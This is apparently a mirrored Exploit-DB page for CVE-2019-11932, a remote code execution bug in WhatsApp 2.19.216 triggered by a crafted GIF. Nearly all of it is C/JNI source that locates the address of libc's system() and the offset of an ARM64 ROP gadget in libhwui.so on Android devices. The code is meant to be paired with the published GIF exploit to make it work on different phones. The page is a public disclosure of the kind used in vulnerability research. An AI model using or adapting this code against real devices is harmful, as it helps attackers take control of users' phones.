Whatsapp 2.19.216 – Remote Code Execution

• Exploit Database
• 111 阅读

• 作者： Valerio Brussani
  日期： 2019-10-16
• 类别：

  • remote
  平台：

  • android
• 来源：https://www.exploit-db.com/exploits/47515/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110

  # Exploit Title: Whatsapp 2.19.216 - Remote Code Execution # Date: 2019-10-16 # Exploit Author: Valerio Brussani (@val_brux) # Vendor Homepage: https://www.whatsapp.com/ # Version: < 2.19.244 # Tested on: Whatsapp 2.19.216 # CVE: CVE-2019-11932 # Reference1: https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/ # Full Android App: https://github.com/valbrux/CVE-2019-11932-SupportApp # Credits: all credits for the bug discovery goes to Awakened (https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/)   /* * * Introduction * This native code file aims to be complementary to the published Whatsapp GIF RCE exploit by Awakened , by calculating the system() function address and ROP gadget address for different types of devices, which then can be used to successfully exploit the vulnerability. * The full Android application code is available at the following link https://github.com/valbrux/CVE-2019-11932-SupportApp * */   #include <jni.h> #include <string> #include <dlfcn.h> #include <link.h>   typedef uint8_t byte; char *gadget_p; void* libc,* lib;   //dls iteration for rop int dl_callback(struct dl_phdr_info *info, size_t size, void *data) { int j; const char *base = (const char *)info->dlpi_addr; for (j = 0; j < info->dlpi_phnum; j++) { const ElfW(Phdr) *phdr = &info->dlpi_phdr[j]; if (phdr->p_type == PT_LOAD && (strcmp("/system/lib64/libhwui.so",info->dlpi_name) == 0)) { gadget_p = (char *) base + phdr->p_vaddr; return 1; } } return 0; }   //system address void* get_system_address(){ libc = dlopen("libc.so",RTLD_GLOBAL); void* address = dlsym( libc, "system"); return address; }   //rop gadget address void get_gadget_lib_base_address() { lib = dlopen("libhwui.so",RTLD_GLOBAL); dl_iterate_phdr(dl_callback, NULL); }   //search gadget long search_for_gadget_offset() { char *buffer; long filelen; char curChar; long pos = 0; int curSearch = 0; //reading file FILE* fd = fopen("/system/lib64/libhwui.so","rb"); fseek(fd, 0, SEEK_END); filelen = ftell(fd); rewind(fd); buffer = (char *)malloc((filelen+1)*sizeof(char)); fread(buffer, filelen, 1, fd); fclose(fd); //searching for bytes byte g1[12] = {0x68, 0x0E, 0x40, 0xF9, 0x60, 0x82, 0x00, 0x91, 0x00, 0x01, 0x3F, 0xD6}; while(pos <= filelen){ curChar = buffer[pos];pos++; if(curChar == g1[curSearch]){ curSearch++; if(curSearch > 11){ curSearch = 0; pos-=12; break; } } else{ curSearch = 0; } } return pos; }   extern "C" JNIEXPORT jstring JNICALL Java_com_valbrux_myapplication_MainActivity_getSystem(JNIEnv* env,jobject) { char buff[30]; //system address snprintf(buff, sizeof(buff), "%p", get_system_address()); dlclose(libc); std::string system_string = buff; return env->NewStringUTF(system_string.c_str()); }       extern "C" JNIEXPORT jstring JNICALL Java_com_valbrux_myapplication_MainActivity_getROPGadget(JNIEnv* env,jobject) { char buff[30]; get_gadget_lib_base_address(); //gadget address snprintf(buff, sizeof(buff), "%p",gadget_p+search_for_gadget_offset()); dlclose(lib); std::string system_string = buff; return env->NewStringUTF(system_string.c_str()); }